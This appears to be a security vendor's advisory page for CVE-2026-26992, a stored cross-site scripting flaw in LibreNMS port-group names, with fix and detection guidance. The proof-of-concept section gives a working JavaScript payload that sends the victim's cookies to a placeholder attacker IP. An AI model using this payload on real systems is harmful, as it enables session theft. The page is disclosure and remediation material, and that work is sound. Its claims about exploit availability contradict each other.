How severe is CVE-2026-26992?

No CVSS score has been assigned to CVE-2026-26992 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-26992?

CVE-2026-26992 affects the following packages: librenms/librenms (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2026-26992?

Update librenms/librenms to 26.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-26992 is resolved across your whole dependency graph.

How do I detect CVE-2026-26992 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-26992 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-26992?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-26992 can be triaged on real exposure rather than presence alone.

Is CVE-2026-26992 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-26992 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-26992?

CVE-2026-26992 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 13th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-26992?

CVE-2026-26992 is classified as Cross-site Scripting (XSS) (CWE-79). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-26992 published, and has it been updated?

CVE-2026-26992 was published on February 20, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2026-26992 — librenms/librenms

Fix: librenms/librenms@882fe6f

CVE-2026-26992 is a Cross-site Scripting (XSS) vulnerability in librenms/librenms. A fix is available for librenms/librenms — see the affected versions and patch details below.

LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name

Also known asGHSA-93fx-g747-695x

Published

Feb 20, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-26992.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs13th percentile — riskier than 13% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐘librenms/librenms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

/port-groups name Stored Cross-Site Scripting

HTTP POST
Request-URI(s): "/port-groups"
Vulnerable parameter(s): "name"
Attacker must be authenticated with "admin" privileges.
When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter.
After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.

Details

The vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/port-group/index.blade.php:

@extends('layouts.librenmsv1')
@section('title', __('Port Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-port-groups-panel">
// [...Truncated...]
@foreach($port_groups as $port_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Port Group') }}" aria-label="{{ __('Delete') }}"

onclick="delete_pg(this, '{{ $port_group-
>name }}', '{{ route('port-groups.destroy', $port_group->id) }}')"> // using the
port's name in the Delete button functionality without sanitizing for XSS related
characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.

PoC

Login
Select Ports > Manage Port Groups
Select New Port Group
Input 12345');varpt=newImage();pt.src='http://<ATTACKER_IP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
Select Save
Select the Delete Icon for the newly created Port Group
Select OK
The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`librenms/librenms`	all versions	26.2.0`composer require librenms/librenms:^26.2.0`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 26.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-26992 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-26992 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-26992. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary **/port-groups name Stored Cross-Site Scripting** - HTTP POST - Request-URI(s): "/port-groups" - Vulnerable parameter(s): "name" - Attacker must be authenticated with "admin" privileges. - When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. - After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete. ### Details The vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript

O3 Security · Impact-Aware SCA

Is CVE-2026-26992 in your dependencies?

O3 Security finds CVE-2026-26992 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works